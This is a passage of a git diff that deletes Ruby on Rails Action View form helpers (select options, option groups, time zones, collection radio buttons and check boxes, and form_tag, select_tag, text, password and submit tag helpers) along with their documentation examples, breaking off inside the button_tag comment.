- # </optgroup>
- # <optgroup label="Asia">
- # <option value="3" selected="selected">China</option>
- # <option value="12">India</option>
- # <option value="5">Japan</option>
- # ...
- # </optgroup>
- #
- # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
- # wrap the output in an appropriate <tt><select></tt> tag.
- def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
- collection.map do |group|
- option_tags = options_from_collection_for_select(
- group.send(group_method), option_key_method, option_value_method, selected_key)
-
- content_tag(:optgroup, option_tags, :label => group.send(group_label_method))
- end.join.html_safe
- end
-
- # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
- # wraps them with <tt><optgroup></tt> tags.
- #
- # Parameters:
- # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the
- # <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
- # nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
- # Ex. ["North America",[["United States","US"],["Canada","CA"]]]
- # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
- # which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
- # as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
- #
- # Options:
- # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
- # prepends an option with a generic prompt - "Please select" - or the given prompt string.
- # * <tt>:divider</tt> - the divider for the options groups.
- #
- # grouped_options = [
- # ['North America',
- # [['United States','US'],'Canada']],
- # ['Europe',
- # ['Denmark','Germany','France']]
- # ]
- # grouped_options_for_select(grouped_options)
- #
- # grouped_options = {
- # 'North America' => [['United States','US'], 'Canada'],
- # 'Europe' => ['Denmark','Germany','France']
- # }
- # grouped_options_for_select(grouped_options)
- #
- # Possible output:
- # <optgroup label="North America">
- # <option value="US">United States</option>
- # <option value="Canada">Canada</option>
- # </optgroup>
- # <optgroup label="Europe">
- # <option value="Denmark">Denmark</option>
- # <option value="Germany">Germany</option>
- # <option value="France">France</option>
- # </optgroup>
- #
- # grouped_options = [
- # [['United States','US'], 'Canada'],
- # ['Denmark','Germany','France']
- # ]
- # grouped_options_for_select(grouped_options, nil, divider: '---------')
- #
- # Possible output:
- # <optgroup label="---------">
- # <option value="US">United States</option>
- # <option value="Canada">Canada</option>
- # </optgroup>
- # <optgroup label="---------">
- # <option value="Denmark">Denmark</option>
- # <option value="Germany">Germany</option>
- # <option value="France">France</option>
- # </optgroup>
- #
- # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
- # wrap the output in an appropriate <tt><select></tt> tag.
- def grouped_options_for_select(grouped_options, selected_key = nil, options = {})
- if options.is_a?(Hash)
- prompt = options[:prompt]
- divider = options[:divider]
- else
- prompt = options
- options = {}
- message = "Passing the prompt to grouped_options_for_select as an argument is deprecated. " \
- "Please use an options hash like `{ prompt: #{prompt.inspect} }`."
- ActiveSupport::Deprecation.warn message
- end
-
- body = "".html_safe
-
- if prompt
- body.safe_concat content_tag(:option, prompt_text(prompt), :value => "")
- end
-
- grouped_options.each do |container|
- if divider
- label = divider
- else
- label, container = container
- end
- body.safe_concat content_tag(:optgroup, options_for_select(container, selected_key), :label => label)
- end
-
- body
- end
-
- # Returns a string of option tags for pretty much any time zone in the
- # world. Supply a ActiveSupport::TimeZone name as +selected+ to have it
- # marked as the selected option tag. You can also supply an array of
- # ActiveSupport::TimeZone objects as +priority_zones+, so that they will
- # be listed above the rest of the (long) list. (You can use
- # ActiveSupport::TimeZone.us_zones as a convenience for obtaining a list
- # of the US time zones, or a Regexp to select the zones of your choice)
- #
- # The +selected+ parameter must be either +nil+, or a string that names
- # a ActiveSupport::TimeZone.
- #
- # By default, +model+ is the ActiveSupport::TimeZone constant (which can
- # be obtained in Active Record as a value object). The only requirement
- # is that the +model+ parameter be an object that responds to +all+, and
- # returns an array of objects that represent time zones.
- #
- # NOTE: Only the option tags are returned, you have to wrap this call in
- # a regular HTML select tag.
- def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
- zone_options = "".html_safe
-
- zones = model.all
- convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
-
- if priority_zones
- if priority_zones.is_a?(Regexp)
- priority_zones = zones.select { |z| z =~ priority_zones }
- end
-
- zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
- zone_options.safe_concat content_tag(:option, '-------------', :value => '', :disabled => 'disabled')
- zone_options.safe_concat "\n"
-
- zones.reject! { |z| priority_zones.include?(z) }
- end
-
- zone_options.safe_concat options_for_select(convert_zones[zones], selected)
- end
-
- # Returns radio button tags for the collection of existing return values
- # of +method+ for +object+'s class. The value returned from calling
- # +method+ on the instance +object+ will be selected. If calling +method+
- # returns +nil+, no selection is made.
- #
- # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
- # methods to be called on each member of +collection+. The return values
- # are used as the +value+ attribute and contents of each radio button tag,
- # respectively. They can also be any object that responds to +call+, such
- # as a +proc+, that will be called for each member of the +collection+ to
- # retrieve the value/text.
- #
- # Example object structure for use with this method:
- # class Post < ActiveRecord::Base
- # belongs_to :author
- # end
- # class Author < ActiveRecord::Base
- # has_many :posts
- # def name_with_initial
- # "#{first_name.first}. #{last_name}"
- # end
- # end
- #
- # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
- # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
- #
- # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
- # <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
- # <label for="post_author_id_1">D. Heinemeier Hansson</label>
- # <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
- # <label for="post_author_id_2">D. Thomas</label>
- # <input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
- # <label for="post_author_id_3">M. Clark</label>
- #
- # It is also possible to customize the way the elements will be shown by
- # giving a block to the method:
- # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
- # b.label { b.radio_button }
- # end
- #
- # The argument passed to the block is a special kind of builder for this
- # collection, which has the ability to generate the label and radio button
- # for the current item in the collection, with proper text and value.
- # Using it, you can change the label and radio button display order or
- # even use the label as wrapper, as in the example above.
- #
- # The builder methods <tt>label</tt> and <tt>radio_button</tt> also accept
- # extra html options:
- # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
- # b.label(class: "radio_button") { b.radio_button(class: "radio_button") }
- # end
- #
- # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
- # <tt>value</tt>, which are the current item being rendered, its text and value methods,
- # respectively. You can use them like this:
- # collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
- # b.label(:"data-value" => b.value) { b.radio_button + b.text }
- # end
- def collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
- Tags::CollectionRadioButtons.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
- end
-
- # Returns check box tags for the collection of existing return values of
- # +method+ for +object+'s class. The value returned from calling +method+
- # on the instance +object+ will be selected. If calling +method+ returns
- # +nil+, no selection is made.
- #
- # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
- # methods to be called on each member of +collection+. The return values
- # are used as the +value+ attribute and contents of each check box tag,
- # respectively. They can also be any object that responds to +call+, such
- # as a +proc+, that will be called for each member of the +collection+ to
- # retrieve the value/text.
- #
- # Example object structure for use with this method:
- # class Post < ActiveRecord::Base
- # has_and_belongs_to_many :author
- # end
- # class Author < ActiveRecord::Base
- # has_and_belongs_to_many :posts
- # def name_with_initial
- # "#{first_name.first}. #{last_name}"
- # end
- # end
- #
- # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
- # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
- #
- # If <tt>@post.author_ids</tt> is already <tt>[1]</tt>, this would return:
- # <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
- # <label for="post_author_ids_1">D. Heinemeier Hansson</label>
- # <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
- # <label for="post_author_ids_2">D. Thomas</label>
- # <input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
- # <label for="post_author_ids_3">M. Clark</label>
- # <input name="post[author_ids][]" type="hidden" value="" />
- #
- # It is also possible to customize the way the elements will be shown by
- # giving a block to the method:
- # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
- # b.label { b.check_box }
- # end
- #
- # The argument passed to the block is a special kind of builder for this
- # collection, which has the ability to generate the label and check box
- # for the current item in the collection, with proper text and value.
- # Using it, you can change the label and check box display order or even
- # use the label as wrapper, as in the example above.
- #
- # The builder methods <tt>label</tt> and <tt>check_box</tt> also accept
- # extra html options:
- # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
- # b.label(class: "check_box") { b.check_box(class: "check_box") }
- # end
- #
- # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
- # <tt>value</tt>, which are the current item being rendered, its text and value methods,
- # respectively. You can use them like this:
- # collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
- # b.label(:"data-value" => b.value) { b.check_box + b.text }
- # end
- def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
- Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
- end
-
- private
- def option_html_attributes(element)
- if Array === element
- element.select { |e| Hash === e }.reduce({}, :merge!)
- else
- {}
- end
- end
-
- def option_text_and_value(option)
- # Options are [text, value] pairs or strings used for both.
- if !option.is_a?(String) && option.respond_to?(:first) && option.respond_to?(:last)
- option = option.reject { |e| Hash === e } if Array === option
- [option.first, option.last]
- else
- [option, option]
- end
- end
-
- def option_value_selected?(value, selected)
- Array(selected).include? value
- end
-
- def extract_selected_and_disabled(selected)
- if selected.is_a?(Proc)
- [selected, nil]
- else
- selected = Array.wrap(selected)
- options = selected.extract_options!.symbolize_keys
- selected_items = options.fetch(:selected, selected)
- [selected_items, options[:disabled]]
- end
- end
-
- def extract_values_from_collection(collection, value_method, selected)
- if selected.is_a?(Proc)
- collection.map do |element|
- element.send(value_method) if selected.call(element)
- end.compact
- else
- selected
- end
- end
-
- def value_for_collection(item, value)
- value.respond_to?(:call) ? value.call(item) : item.send(value)
- end
-
- def prompt_text(prompt)
- prompt = prompt.kind_of?(String) ? prompt : I18n.translate('helpers.select.prompt', :default => 'Please select')
- end
- end
-
- class FormBuilder
- def select(method, choices, options = {}, html_options = {})
- @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options))
- end
-
- def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
- @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
- end
-
- def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
- @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_options.merge(html_options))
- end
-
- def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
- @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
- end
-
- def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {})
- @template.collection_check_boxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
- end
-
- def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {})
- @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/helpers/form_tag_helper.rb b/actionpack/lib/action_view/helpers/form_tag_helper.rb
deleted file mode 100644
index ff83ef3ca1..0000000000
--- a/actionpack/lib/action_view/helpers/form_tag_helper.rb
+++ /dev/null
@@ -1,785 +0,0 @@
-require 'cgi'
-require 'action_view/helpers/tag_helper'
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/core_ext/module/attribute_accessors'
-
-module ActionView
- # = Action View Form Tag Helpers
- module Helpers
- # Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like
- # FormHelper does. Instead, you provide the names and values manually.
- #
- # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
- # <tt>disabled: true</tt> will give <tt>disabled="disabled"</tt>.
- module FormTagHelper
- extend ActiveSupport::Concern
-
- include UrlHelper
- include TextHelper
-
- mattr_accessor :embed_authenticity_token_in_remote_forms
- self.embed_authenticity_token_in_remote_forms = false
-
- # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like
- # ActionController::Base#url_for. The method for the form defaults to POST.
- #
- # ==== Options
- # * <tt>:multipart</tt> - If set to true, the enctype is set to "multipart/form-data".
- # * <tt>:method</tt> - The method to use when submitting the form, usually either "get" or "post".
- # If "put", "delete", or another verb is used, a hidden input with name <tt>_method</tt>
- # is added to simulate the verb over post.
- # * <tt>:authenticity_token</tt> - Authenticity token to use in the form. Use only if you need to
- # pass custom authenticity token string, or to not add authenticity_token field at all
- # (by passing <tt>false</tt>). Remote forms may omit the embedded authenticity token
- # by setting <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
- # This is helpful when you're fragment-caching the form. Remote forms get the
- # authenticity from the <tt>meta</tt> tag, so embedding is unnecessary unless you
- # support browsers without JavaScript.
- # * A list of parameters to feed to the URL the form will be posted to.
- # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
- # submit behavior. By default this behavior is an ajax submit.
- #
- # ==== Examples
- # form_tag('/posts')
- # # => <form action="/posts" method="post">
- #
- # form_tag('/posts/1', method: :put)
- # # => <form action="/posts/1" method="post"> ... <input name="_method" type="hidden" value="put" /> ...
- #
- # form_tag('/upload', multipart: true)
- # # => <form action="/upload" method="post" enctype="multipart/form-data">
- #
- # <%= form_tag('/posts') do -%>
- # <div><%= submit_tag 'Save' %></div>
- # <% end -%>
- # # => <form action="/posts" method="post"><div><input type="submit" name="commit" value="Save" /></div></form>
- #
- # <%= form_tag('/posts', remote: true) %>
- # # => <form action="/posts" method="post" data-remote="true">
- #
- # form_tag('http://far.away.com/form', authenticity_token: false)
- # # form without authenticity token
- #
- # form_tag('http://far.away.com/form', authenticity_token: "cf50faa3fe97702ca1ae")
- # # form with custom authenticity token
- #
- def form_tag(url_for_options = {}, options = {}, &block)
- html_options = html_options_for_form(url_for_options, options)
- if block_given?
- form_tag_in_block(html_options, &block)
- else
- form_tag_html(html_options)
- end
- end
-
- # Creates a dropdown selection box, or if the <tt>:multiple</tt> option is set to true, a multiple
- # choice selection box.
- #
- # Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or
- # associated records. <tt>option_tags</tt> is a string containing the option tags for the select box.
- #
- # ==== Options
- # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
- # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
- # * <tt>:include_blank</tt> - If set to true, an empty option will be create
- # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something
- # * Any other key creates standard HTML attributes for the tag.
- #
- # ==== Examples
- # select_tag "people", options_from_collection_for_select(@people, "id", "name")
- # # <select id="people" name="people"><option value="1">David</option></select>
- #
- # select_tag "people", "<option>David</option>".html_safe
- # # => <select id="people" name="people"><option>David</option></select>
- #
- # select_tag "count", "<option>1</option><option>2</option><option>3</option><option>4</option>".html_safe
- # # => <select id="count" name="count"><option>1</option><option>2</option>
- # # <option>3</option><option>4</option></select>
- #
- # select_tag "colors", "<option>Red</option><option>Green</option><option>Blue</option>".html_safe, multiple: true
- # # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
- # # <option>Green</option><option>Blue</option></select>
- #
- # select_tag "locations", "<option>Home</option><option selected='selected'>Work</option><option>Out</option>".html_safe
- # # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
- # # <option>Out</option></select>
- #
- # select_tag "access", "<option>Read</option><option>Write</option>".html_safe, multiple: true, class: 'form_input'
- # # => <select class="form_input" id="access" multiple="multiple" name="access[]"><option>Read</option>
- # # <option>Write</option></select>
- #
- # select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: true
- # # => <select id="people" name="people"><option value=""></option><option value="1">David</option></select>
- #
- # select_tag "people", options_from_collection_for_select(@people, "id", "name"), prompt: "Select something"
- # # => <select id="people" name="people"><option value="">Select something</option><option value="1">David</option></select>
- #
- # select_tag "destination", "<option>NYC</option><option>Paris</option><option>Rome</option>".html_safe, disabled: true
- # # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
- # # <option>Paris</option><option>Rome</option></select>
- #
- # select_tag "credit_card", options_for_select([ "VISA", "MasterCard" ], "MasterCard")
- # # => <select id="credit_card" name="credit_card"><option>VISA</option>
- # # <option selected="selected">MasterCard</option></select>
- def select_tag(name, option_tags = nil, options = {})
- option_tags ||= ""
- html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
-
- if options.delete(:include_blank)
- option_tags = content_tag(:option, '', :value => '').safe_concat(option_tags)
- end
-
- if prompt = options.delete(:prompt)
- option_tags = content_tag(:option, prompt, :value => '').safe_concat(option_tags)
- end
-
- content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
- end
-
- # Creates a standard text field; use these text fields to input smaller chunks of text like a username
- # or a search query.
- #
- # ==== Options
- # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
- # * <tt>:size</tt> - The number of visible characters that will fit in the input.
- # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
- # * <tt>:placeholder</tt> - The text contained in the field by default which is removed when the field receives focus.
- # * Any other key creates standard HTML attributes for the tag.
- #
- # ==== Examples
- # text_field_tag 'name'
- # # => <input id="name" name="name" type="text" />
- #
- # text_field_tag 'query', 'Enter your search query here'
- # # => <input id="query" name="query" type="text" value="Enter your search query here" />
- #
- # text_field_tag 'search', nil, placeholder: 'Enter search term...'
- # # => <input id="search" name="search" placeholder="Enter search term..." type="text" />
- #
- # text_field_tag 'request', nil, class: 'special_input'
- # # => <input class="special_input" id="request" name="request" type="text" />
- #
- # text_field_tag 'address', '', size: 75
- # # => <input id="address" name="address" size="75" type="text" value="" />
- #
- # text_field_tag 'zip', nil, maxlength: 5
- # # => <input id="zip" maxlength="5" name="zip" type="text" />
- #
- # text_field_tag 'payment_amount', '$0.00', disabled: true
- # # => <input disabled="disabled" id="payment_amount" name="payment_amount" type="text" value="$0.00" />
- #
- # text_field_tag 'ip', '0.0.0.0', maxlength: 15, size: 20, class: "ip-input"
- # # => <input class="ip-input" id="ip" maxlength="15" name="ip" size="20" type="text" value="0.0.0.0" />
- def text_field_tag(name, value = nil, options = {})
- tag :input, { "type" => "text", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
- end
-
- # Creates a label element. Accepts a block.
- #
- # ==== Options
- # * Creates standard HTML attributes for the tag.
- #
- # ==== Examples
- # label_tag 'name'
- # # => <label for="name">Name</label>
- #
- # label_tag 'name', 'Your name'
- # # => <label for="name">Your Name</label>
- #
- # label_tag 'name', nil, class: 'small_label'
- # # => <label for="name" class="small_label">Name</label>
- def label_tag(name = nil, content_or_options = nil, options = nil, &block)
- if block_given? && content_or_options.is_a?(Hash)
- options = content_or_options = content_or_options.stringify_keys
- else
- options ||= {}
- options = options.stringify_keys
- end
- options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for")
- content_tag :label, content_or_options || name.to_s.humanize, options, &block
- end
-
- # Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or
- # data that should be hidden from the user.
- #
- # ==== Options
- # * Creates standard HTML attributes for the tag.
- #
- # ==== Examples
- # hidden_field_tag 'tags_list'
- # # => <input id="tags_list" name="tags_list" type="hidden" />
- #
- # hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
- # # => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
- #
- # hidden_field_tag 'collected_input', '', onchange: "alert('Input collected!')"
- # # => <input id="collected_input" name="collected_input" onchange="alert('Input collected!')"
- # # type="hidden" value="" />
- def hidden_field_tag(name, value = nil, options = {})
- text_field_tag(name, value, options.stringify_keys.update("type" => "hidden"))
- end
-
- # Creates a file upload field. If you are using file uploads then you will also need
- # to set the multipart option for the form tag:
- #
- # <%= form_tag '/upload', multipart: true do %>
- # <label for="file">File to Upload</label> <%= file_field_tag "file" %>
- # <%= submit_tag %>
- # <% end %>
- #
- # The specified URL will then be passed a File object containing the selected file, or if the field
- # was left blank, a StringIO object.
- #
- # ==== Options
- # * Creates standard HTML attributes for the tag.
- # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
- # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
- # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
- #
- # ==== Examples
- # file_field_tag 'attachment'
- # # => <input id="attachment" name="attachment" type="file" />
- #
- # file_field_tag 'avatar', class: 'profile_input'
- # # => <input class="profile_input" id="avatar" name="avatar" type="file" />
- #
- # file_field_tag 'picture', disabled: true
- # # => <input disabled="disabled" id="picture" name="picture" type="file" />
- #
- # file_field_tag 'resume', value: '~/resume.doc'
- # # => <input id="resume" name="resume" type="file" value="~/resume.doc" />
- #
- # file_field_tag 'user_pic', accept: 'image/png,image/gif,image/jpeg'
- # # => <input accept="image/png,image/gif,image/jpeg" id="user_pic" name="user_pic" type="file" />
- #
- # file_field_tag 'file', accept: 'text/html', class: 'upload', value: 'index.html'
- # # => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
- def file_field_tag(name, options = {})
- text_field_tag(name, nil, options.update("type" => "file"))
- end
-
- # Creates a password field, a masked text field that will hide the users input behind a mask character.
- #
- # ==== Options
- # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
- # * <tt>:size</tt> - The number of visible characters that will fit in the input.
- # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
- # * Any other key creates standard HTML attributes for the tag.
- #
- # ==== Examples
- # password_field_tag 'pass'
- # # => <input id="pass" name="pass" type="password" />
- #
- # password_field_tag 'secret', 'Your secret here'
- # # => <input id="secret" name="secret" type="password" value="Your secret here" />
- #
- # password_field_tag 'masked', nil, class: 'masked_input_field'
- # # => <input class="masked_input_field" id="masked" name="masked" type="password" />
- #
- # password_field_tag 'token', '', size: 15
- # # => <input id="token" name="token" size="15" type="password" value="" />
- #
- # password_field_tag 'key', nil, maxlength: 16
- # # => <input id="key" maxlength="16" name="key" type="password" />
- #
- # password_field_tag 'confirm_pass', nil, disabled: true
- # # => <input disabled="disabled" id="confirm_pass" name="confirm_pass" type="password" />
- #
- # password_field_tag 'pin', '1234', maxlength: 4, size: 6, class: "pin_input"
- # # => <input class="pin_input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
- def password_field_tag(name = "password", value = nil, options = {})
- text_field_tag(name, value, options.update("type" => "password"))
- end
-
- # Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
- #
- # ==== Options
- # * <tt>:size</tt> - A string specifying the dimensions (columns by rows) of the textarea (e.g., "25x10").
- # * <tt>:rows</tt> - Specify the number of rows in the textarea
- # * <tt>:cols</tt> - Specify the number of columns in the textarea
- # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
- # * <tt>:escape</tt> - By default, the contents of the text input are HTML escaped.
- # If you need unescaped contents, set this to false.
- # * Any other key creates standard HTML attributes for the tag.
- #
- # ==== Examples
- # text_area_tag 'post'
- # # => <textarea id="post" name="post"></textarea>
- #
- # text_area_tag 'bio', @user.bio
- # # => <textarea id="bio" name="bio">This is my biography.</textarea>
- #
- # text_area_tag 'body', nil, rows: 10, cols: 25
- # # => <textarea cols="25" id="body" name="body" rows="10"></textarea>
- #
- # text_area_tag 'body', nil, size: "25x10"
- # # => <textarea name="body" id="body" cols="25" rows="10"></textarea>
- #
- # text_area_tag 'description', "Description goes here.", disabled: true
- # # => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
- #
- # text_area_tag 'comment', nil, class: 'comment_input'
- # # => <textarea class="comment_input" id="comment" name="comment"></textarea>
- def text_area_tag(name, content = nil, options = {})
- options = options.stringify_keys
-
- if size = options.delete("size")
- options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
- end
-
- escape = options.delete("escape") { true }
- content = ERB::Util.html_escape(content) if escape
-
- content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options)
- end
-
- # Creates a check box form input tag.
- #
- # ==== Options
- # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
- # * Any other key creates standard HTML options for the tag.
- #
- # ==== Examples
- # check_box_tag 'accept'
- # # => <input id="accept" name="accept" type="checkbox" value="1" />
- #
- # check_box_tag 'rock', 'rock music'
- # # => <input id="rock" name="rock" type="checkbox" value="rock music" />
- #
- # check_box_tag 'receive_email', 'yes', true
- # # => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
- #
- # check_box_tag 'tos', 'yes', false, class: 'accept_tos'
- # # => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
- #
- # check_box_tag 'eula', 'accepted', false, disabled: true
- # # => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
- def check_box_tag(name, value = "1", checked = false, options = {})
- html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
- html_options["checked"] = "checked" if checked
- tag :input, html_options
- end
-
- # Creates a radio button; use groups of radio buttons named the same to allow users to
- # select from a group of options.
- #
- # ==== Options
- # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
- # * Any other key creates standard HTML options for the tag.
- #
- # ==== Examples
- # radio_button_tag 'gender', 'male'
- # # => <input id="gender_male" name="gender" type="radio" value="male" />
- #
- # radio_button_tag 'receive_updates', 'no', true
- # # => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
- #
- # radio_button_tag 'time_slot', "3:00 p.m.", false, disabled: true
- # # => <input disabled="disabled" id="time_slot_300_pm" name="time_slot" type="radio" value="3:00 p.m." />
- #
- # radio_button_tag 'color', "green", true, class: "color_input"
- # # => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
- def radio_button_tag(name, value, checked = false, options = {})
- html_options = { "type" => "radio", "name" => name, "id" => "#{sanitize_to_id(name)}_#{sanitize_to_id(value)}", "value" => value }.update(options.stringify_keys)
- html_options["checked"] = "checked" if checked
- tag :input, html_options
- end
-
- # Creates a submit button with the text <tt>value</tt> as the caption.
- #
- # ==== Options
- # * <tt>:data</tt> - This option can be used to add custom data attributes.
- # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
- # * Any other key creates standard HTML options for the tag.
- #
- # ==== Data attributes
- #
- # * <tt>confirm: 'question?'</tt> - If present the unobtrusive JavaScript
- # drivers will provide a prompt with the question specified. If the user accepts,
- # the form is processed normally, otherwise no action is taken.
- # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a
- # disabled version of the submit button when the form is submitted. This feature is
- # provided by the unobtrusive JavaScript driver.
- #
- # ==== Examples
- # submit_tag
- # # => <input name="commit" type="submit" value="Save changes" />
- #
- # submit_tag "Edit this article"
- # # => <input name="commit" type="submit" value="Edit this article" />
- #
- # submit_tag "Save edits", disabled: true
- # # => <input disabled="disabled" name="commit" type="submit" value="Save edits" />
- #
- # submit_tag "Complete sale", data: { disable_with: "Please wait..." }
- # # => <input name="commit" data-disable-with="Please wait..." type="submit" value="Complete sale" />
- #
- # submit_tag nil, class: "form_submit"
- # # => <input class="form_submit" name="commit" type="submit" />
- #
- # submit_tag "Edit", class: "edit_button"
- # # => <input class="edit_button" name="commit" type="submit" value="Edit" />
- #
- # submit_tag "Save", data: { confirm: "Are you sure?" }
- # # => <input name='commit' type='submit' value='Save' data-confirm="Are you sure?" />
- #
- def submit_tag(value = "Save changes", options = {})
- options = options.stringify_keys
-
- if disable_with = options.delete("disable_with")
- message = ":disable_with option is deprecated and will be removed from Rails 4.1. " \
- "Use 'data: { disable_with: \'Text\' }' instead."
- ActiveSupport::Deprecation.warn message
-
- options["data-disable-with"] = disable_with
- end
-
- if confirm = options.delete("confirm")
- message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
- "Use 'data: { confirm: \'Text\' }' instead'."
- ActiveSupport::Deprecation.warn message
-
- options["data-confirm"] = confirm
- end
-
- tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options)
- end
-
- # Creates a button element that defines a <tt>submit</tt> button,
- # <tt>reset</tt>button or a generic button which can be used in
- # JavaScript, for example. You can use the button tag as a regular
- # submit tag but it isn't supported in legacy browsers. However,
- # the button tag allows richer labels such as images and emphasis,
- # so this helper will also accept a block.
- #
- # ==== Options
- # * <tt>:data</tt> - This option can be used to add custom data attributes.
- # * <tt>:disabled</tt> - If true, the user will not be able to
- # use this input.
- # * Any other key creates standard HTML options for the tag.
- #
- # ==== Data attributes
- #
- # * <tt>confirm: 'question?'</tt> - If present, the
- # unobtrusive JavaScript drivers will provide a prompt with
- # the question specified. If the user accepts, the form is
- # processed normally, otherwise no action is taken.
- # * <tt>:disable_with</tt> - Value of this parameter will be
- # used as the value for a disabled version of the submit
- # button when the form is submitted. This feature is provided
- # by the unobtrusive JavaScript driver.
- #
- # ==== Examples
- # button_tag
- # # => <button name="button" type="submit">Button</button>
- #
- # button_tag(type: 'button') do
